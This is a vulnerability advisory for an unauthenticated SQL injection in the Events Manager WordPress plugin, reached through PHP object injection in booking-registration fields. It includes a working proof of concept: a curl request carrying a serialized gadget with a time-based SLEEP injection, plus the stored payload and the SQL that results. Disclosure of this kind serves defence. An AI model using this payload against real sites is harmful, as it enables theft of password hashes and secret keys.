Events Manager < 7.3.7 – Unauthenticated SQL Injection via PHP Object Injection in Booking Registration | CVE 2026-12987

Description

The plugin does not safely handle booking-registration data on sites using No-User-Account Booking Mode: a booker-supplied registration field is stored as booking meta and later deserialized without restricting allowed classes, enabling PHP object injection. The resulting gadget chain reaches a database query that is built without parameterisation, so an unauthenticated attacker can read arbitrary database data (e.g. user password hashes, secret keys) when the booking is later loaded.

Proof of Concept

**Step 1 — attacker harvests the public `booking_add` nonce** from the booking form on the public event page (or the `booking_form_nonces` AJAX action). On cache-enabled sites the nonce check is skipped (`em-actions.php`), so this step is unnecessary there.

**Step 2 — one unauthenticated request** placing a serialized `EM_Booking` POP gadget (with a time-based SQL injection in `booking_id`) into `user_name`:
```bash
GADGET='O:10:"EM_Booking":2:{s:12:"booking_uuid";s:1:"x";s:10:"booking_id";s:44:"0'"'"' AND (SELECT 1 FROM(SELECT SLEEP(5))z)-- -";}'
curl -k "https://victim.example/wp-admin/admin-ajax.php" \
  --data-urlencode "action=booking_add" \
  --data-urlencode "event_id=<EVENT_ID>" \
  --data-urlencode "em_tickets[<TICKET_ID>][spaces]=1" \
  --data-urlencode "user_name=$GADGET" \
  --data-urlencode "user_email=attacker@evil.test" \
  --data-urlencode "data_privacy_consent=1" \
  --data-urlencode "_wpnonce=<NONCE>" --data-urlencode "nonce=<NONCE>"
# => {"result":true,"success":true,"message":"Booking successful."}
```
The payload is stored **byte-for-byte** as the booking-meta row `_registration|user_name` (it survives `wp_kses(...,array())` + `wp_unslash`):
```
wp_em_bookings_meta:  meta_key = _registration|user_name
meta_value = O:10:"EM_Booking":2:{s:12:"booking_uuid";s:1:"x";s:10:"booking_id";s:44:"0' AND (SELECT 1 FROM(SELECT SLEEP(5))z)-- -";}
```

**Step 3 — the SQL injection fires when the booking is loaded.** When the administrator opens **Events → Bookings** (or the booker views the booking), `maybe_unserialize` → `EM_Booking::__wakeup` → `EM_Tickets_Bookings::get_ticket_bookings()` executes:
```sql
SELECT * FROM wp_em_tickets_bookings WHERE booking_id ='0' AND (SELECT 1 FROM(SELECT SLEEP(5))z)-- -' ORDER BY ...
```
The page hangs for the injected `SLEEP()` duration, confirming injection (a benign control booking loads instantly).